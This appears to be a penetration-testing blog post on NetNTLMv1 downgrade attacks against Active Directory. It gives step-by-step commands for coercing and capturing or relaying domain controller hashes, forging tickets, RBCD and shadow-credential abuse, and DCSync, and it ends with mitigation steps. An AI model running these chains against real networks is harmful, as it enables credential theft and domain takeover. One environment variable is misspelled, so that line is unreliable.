NetNTLMv1 Downgrade to compromise

Actually no magic at all. They use big Rainbow tables to crack the NetNTLMv1 hash and after the job’s done and the DES encryption was cracked, you will receive an email containing the NT hash. Unfortunately, their cracking service is down from time to time. In that specific situation, you have no other option than to crack it yourself as described here or use relaying instead (see next chapter - Relaying NetNTLMv1).

Before we go on with the bad stuff, let’s answer the question “how do we get our hands on the NetNTLMv1 hash in the first place?”

Fairly easy.

First thing we do is to run Responder with the following flags:

responder -I <network interface> --lm --disable-ess

--lm will force the downgrade to NetNTLMv1 and --disable-ess will force ESS downgrade so that we get the NetNTLMv1 and not NetNTLMv1-SSP hash.

For the next step, we need to coerce the authentication of our target system WIN-2012DC to our Kali system. In this example we’ll use the tool PetitPotam.

python PetitPotam.py -u <username> -p <password> -d <domain> <attacker IP> <target IP>

If the attack was successful Responder (or ntlmrelayx.py) should have caught the NetNTLMv1 hash, which looks like this:

It is also possible that you will get a NetNTLMv1-SSP hash. This hash’s not crackable with crack.sh for free, but still – with some reformatting and more effort as described in the ntlmv1-multi repository, it is still possible to crack the encryption here. Alternatively, the NetNTLMv1-SSP hash can also be relayed, which we will get back to it in the relay section.

Note: In some cases there won’t be an authentication flying in although the target system is vulnerable, e.g. when the target uses NetNTLMv1 by default. If you encounter such a case, try to leave out the –lm and/or –disable-ess flags.

We also faced situations, in which responder was not able to catch the NetNTLMv1 authentication at all, but ntlmrelayx.py did without –smb2support but with –ntlmchallenge 1122334455667788 instead. So it’s worth doing coercion multiple times with different setups just to be sure here.

Now all you need to do is to submit the NetNTLMv1 hash to crack.sh and wait for the email with the cracked hash to arrive. The email received looks like this:

For the next part we will go through 2 scenarios:

1^st scenario: Cracked hash of domain controller

2^nd scenario: Cracked hash of machine where domain admin has session on

1^st scenario: Cracked hash of Domain Controller

This one is straightforward. You can instantly execute a DCSync with a Pass-the-Hash attack as follows:

impacket-secretsdump -hashes :<hash of domain controller> <domain>/<machine account>@<domain controller ip>

responder -I <network interface> --lm --disable-ess

Next we thankfully accept the service of crack.sh and use it to get the NT hash:

Unfortunately machine accounts typically don‘t have administrative privileges over itself or other systems, so we can’t just authenticate administratively via Pass-the-Hash. Instead, we need to craft a Silver Ticket for that purpose.

To do so, we need to gather some more information:

• Domain SID: Can be enumerated from every user
• SPN: Service we want to access (CIFS in this case)
• Domain User ID: User we want to impersonate with this ticket (500 for Administrator)
• Domain Group SID: 512 for Domain Admins Group
• Account Name: Name for the ticket

We can get the required information with any low privilege domain user but since we already got our hands on the machine NT hash, we can collect these pieces of information also remotely with impacket-lookupsid (or any other tool that can do LDAP queries):

impacket-lookupsid -target-ip <dc ip> -hashes :<NT hash> <domain>/<machine account>@<machine ip> | grep -i <query>

User ID 500 and Domain Group SID 512 are typically the Administrator user and Domain Admins Group respectively but we can use any other user with sufficient rights to perform the action we need on that system.

With this information, we are now able to create a Silver Ticket:

impacket-ticketer –nthash <NT hash of target machine> -domain-sid <Domain SID> -domain <Domain> -spn <SPN> -user-id <Domain User ID> -groups <Domain Group SID> <Account Name>

This results in a Kerberos credential cache file named Administrator.ccache, which we will import to our current [insert favorite command line tool] session over the KRB5CCNAME environment variable.

After importing the ticket, use any lateral movement script with the -k flag to authenticate with our newly imported ticket. We can for example also dump LSASS now with lsassy:

lsassy –k <FQDN target system>

If everything works according to plan, we should get the NT hashes of the users which have/had a session on that system and among them the NT hash of our desired user adm_Wolfsbruder2.

Note: Not the user you looked for? Don’t worry, you can repeat these steps with the newly enumerated users and move further through the domain until you get the user you desire. Hopefully.

So what are we going to do with this last piece of information? Anything you can imagine of. And of course if the permissions are sufficient. But for now: it’s DCSync time!

impacket-secretsdump -hashes :<hash of user with DCSync privileges> <domain>/<User with DCSync privileges>@<dc ip>

Additional prerequisites

This attack path has a few more prerequisites than the last attack. In addition to the prerequisites to downgrading to NetNTLMv1 this path also requires at least two domain controllers to relay between and they need to be at least on a Windows Server 2012 functional level.

RBCD

For this attack to work we also need

• LDAP Signing and Channel Binding to be not enforced
• The msDS-MachineAccountQuota attribute value needs to be bigger than 0 or we need to have at least one other system compromised already

The whole attack chain for Resource Based Constrained Delegation with more background information was also described in our previous blog post:
Resource Based Constrained Delegation - Practical guide for Active Directory Privilege Escalation and Lateral Movement

Shadow credentials:

For this attack to work we also need

• At least one DC running that supports PKINIT

Procedure

• Coerce all Domain Controllers and check for incoming NetNTLMv1(-SSP) hash(es)
• Either execute a RBCD Attack, create a Service Ticket and DCSync or
• Add shadow credentials for a domain controller, request a Kerberos Ticket Granting Ticket (TGT), extract the NT hash from that ticket and DCSync

Proof of Concept

For this attack, instead of capturing the NetNTLMv1 hash and trying to crack it, we simply relay the authentication to the LDAP service of a domain controller. This is possible because NetNTLMv1 does not have a Message Integrity Code. More simple: we force our target system to send a machine account authentication request to our attacker system and immediately relay this request to another domain controller. What can we do with machine account authentications over LDAP? Modifying their own machine account attribute values for example, which enables Resource Based Constrained Delegation (RBCD) or Shadow Credential attacks.

1^st scenario: RBCD

First we run Responder to see if we get any hashes from a DC:

As mentioned earlier in this post, in this example we get a NetNTLMv1-SSP hash which takes a lot of effort to crack. Instead, just as a NetNTLMv1 hash without SSP, we can relay this hash with impacket-ntlmrelayx to create a new machine account which has permissions to impersonate users within our target system, which is in this case WIN-2019-DC2:

impacket-ntlmrelayx -t ldaps://<FQDN not target dc> --remove-mic -smb2support --delegate-access

python PetitPotam.py  -u <user> -p <password> -d <domain> -dc-ip <dc ip> <kali ip> <target dc ip>

After configuring Resource based Constrained Delegation, we can create a Service Ticket for our target machine with impacket-getSTtool. This time we will impersonate the domain admin adm_Wolfsbruder:

impacket-getST -spn cifs/<FQDN target dc> -impersonate <user to impersonate>  <domain>/<created machine account>:<password>

Aaaaaaaaand DCSync time!

export KRB5CCNAME=<output>.ccache

impacket-secretsdump -k <FQDN target dc>

Note: For Kerberos authentication, you need to always use FQDNs instead of IPs or just the hostname.

2^nd scenario: Shadow credentials

For this attack path, we need to configure shadow credentials (alternative credentials in form of a certificate) for the vulnerable DC via --shadow-credentials flag and --remove-mic flag to remove the flag requiring message signing:

impacket-ntlmrelayx --remove-mic -t ldaps://<FQDN dc> --shadow-credentials --shadow-target <target machine account> -smb2support

What happened here? We coerced the authentication from WIN-2019-DC2 to our system and relayed it further to LDAPS on Alphawolf-DC. A self-signed certificate for authentication was generated and put into the msDS-KeyCredentialLink attribute as alternative authentication method. We can use this certificate afterwards to request a Kerberos TGT for WIN-2019-DC2.

The next step is simple. We just copy/paste the last command from the output to request a Ticket Granting Ticket:

python3 gettgtpkinit.py -cert-pfx <pfx file>.pfx -pfx-pass <password> <domain>/<target machine account> <output file>.ccache

First we import the newly created Kerberos TGT:

export KRB3CCNAME=<ccache file>.ccache

If we want to use the certificate with certipy, we first need to remove the password (as certipy only accepts certificates without password) and generate a new password less certificate with the following command:

certipy cert –pfx <pfx file>.pfx –password <password> -export –out <output file>.pfx

And then we can get the NT hash via UnPAC-the-Hash over PKINIT (you can find a description about how UnPAC-the-Hash works here:

certipy auth -pfx <decrypted>.pfx -domain <domain> -dc-ip <dc ip> -username <target machine account>

Aaaaaaaaand it’s that time again!

impacket-secretsdump -hashes :<NT hash> <domain>/<target machine account>@<dc ip>

There are multiple ways to disrupt these attack chains but the most impactful one would be to disable NetNTLMv1 authentications on the network. Either locally on all Clients and Servers or via domain-wide GPO.

Locally

Two options to disable NetNTLMv1 authentication locally would be to:

• Set the value of "Local Security Settings" > "Local Policies" > "Security Options" > "Network security: LAN Manager authentication level" to at least "Send NTLMv2 response only".

With this value workstations and member servers will only send NetNTLM version 2 responses. Domain controllers will still accept and send NTLMv1. To configure domain controllers to accept and send only NTLM version 2, select the option named “Send NTLMv2 response only. Refuse LM & NTLM”:

• Or through registry „Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ LmCompatibilityLevel“.

Values 0 to 5 are possible which are equivalent to the „Network security: LAN Manager authentication level“ values from the Local Security Settings (value 0 = Send LM and NTLM responses:

Domain-wide GPO

From the Group Policy Management menu create a new GPO:

Name the GPO:

Expand Group Policy Objects, right-click the new Group Policy Object and select the „Edit“ option:

The Group Policy Management Editor will pop up.

Navigate to „Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options“:

Change the value of „Network Security: LAN Manager authentication level“ to at least "Send NTLMv2 response only":

To save the group policy configuration, just close the Group Policy editor.

On the Group policy management screen, right-click the Organizational Unit and select the option to „Link an existing GPO“:

If the GPO is set, it is not allowed anymore to change the value: